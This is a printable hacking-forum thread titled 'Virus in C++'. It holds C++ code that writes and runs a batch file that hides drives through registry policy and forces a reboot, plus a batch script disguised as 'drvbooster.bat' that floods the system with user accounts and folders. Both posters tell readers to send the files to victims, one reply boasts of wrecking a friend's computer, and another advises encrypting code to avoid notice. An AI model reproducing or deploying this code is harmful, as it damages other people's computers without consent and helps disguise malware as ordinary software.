Sinisterly
Virus in C++... - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C)
+--- Thread: Virus in C++... (/Thread-Virus-in-C)

Pages: 1 2


Virus in C++... - Psycho_Coder - 04-10-2012

Hi friends,here i give you give the C++ virus code. Actually Batch code is converted to C++ virus code. If you like you can use it as batch code also.

C++ Virus Code :
Code:
#include < windows.h > #include < fstream.h > #include < iostream.h > #include < string.h > #include < conio.h > int main() { ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/ write<<"REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat",NULL,NULL,SW_SHOWNORMAL); return 0; }
Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files


Batch Virus Code Creation:

Code:
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n shutdown -r -c \"Sorry Your System is hacked by us!\" -f
I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim


RE: Virus in C++... - chipp - 04-11-2012

well, why don't you just use system() ? your batch file doesn't have an autorun feature too (as far as i can see...), so why creating another file?


RE: Virus in C++... - kuk27 - 04-30-2012

thanks, "US" just trashed a frienemey's computer Smile


RE: Virus in C++... - Cyclops - 05-03-2012

May I ask what this virus exactly does? I have no C++ (nor any other programming) experience so I can't make it up myself from reading the provided code, but I would like to know what it does in case I decide I would like to use it.


RE: Virus in C++... - Ambiguous - 05-03-2012

(05-03-2012, 12:42 PM)Cyclops Wrote: May I ask what this virus exactly does? I have no C++ (nor any other programming) experience so I can't make it up myself from reading the provided code, but I would like to know what it does in case I decide I would like to use it.

Nothing much, just a message displaying "Sorry Your System is hacked by us!" and then shutting down. I don't recommend using this code though, it is really inefficient and I don't get why Psycho_Coder wants to create another batch file while he can just use system ().


RE: Virus in C++... - kuk27 - 05-24-2012

the simple solution is that there are more than one way to skin a cat. they both work, but to create a new batch file seems easier to me.


RE: Virus in C++... - killerOfCode - 09-19-2012

I'm sorry, but this code really doesn't make sense. Why not use system() commands instead of making a new batch file.

One thing that many hackers also need to learn [that means EVERYBODY] is to not write keywords like 'hack', and to always, *always* encrypt their code, if they can. [Not to be rude, I'm just trying to get these points in the forum. Wink]


RE: Virus in C++... - muhammad fakir - 09-20-2012

Try Mine..

Copy this to notepad and save as drvbooster.bat.....(dont use it send to your target)


@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

Confusedtart
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO drvbooster


RE: Virus in C++... - 1234hotmaster - 09-20-2012

(09-20-2012, 03:02 AM)muhammad fakir Wrote: Try Mine..

Copy this to notepad and save as drvbooster.bat.....(dont use it send to your target)


@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

Confusedtart
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO drvbooster

How old are you? Just asking.


RE: Virus in C++... - Frooxius - 09-20-2012

This topic title is extremely misleading, because this is not a virus in C++, it's just a batch code wrapped in C++ code and the batch code is not a virus either.

It was explained many times, this is simply not what a virus is, in fact, you're very unlikely to make an actual virus in a batch. Just look around in the batch section, I explained it myself multiple times there.

Also I don't understand what's the point of calling this C++, because all the C++ code does is just copy the batch code and execute it. If you want to provide a way to encapsulate any batch script in an EXE file using C++, why don't you provide something generic and reusable?

And a question: What happens if someone doesn't have Windows installed in the C:\\Windows folder? It's not that common, but it happens and then it would fail miserably. Use %windir% token instead, as at any time, it evaluates to wherever is the Windows folder stored.

Lastly, what if user runs this with lowered administrator privileges, which is usually the case under Vista or Win7? You think system will just allow you to write into its folders with that? Think again.

Anyway, the topic name should be changed because it doesn't really say what this is. If I see "Virus in C++" what do I expect from the topic is actually a virus, that's written in C++, meaning the work is done in C++ code. This is just misleading.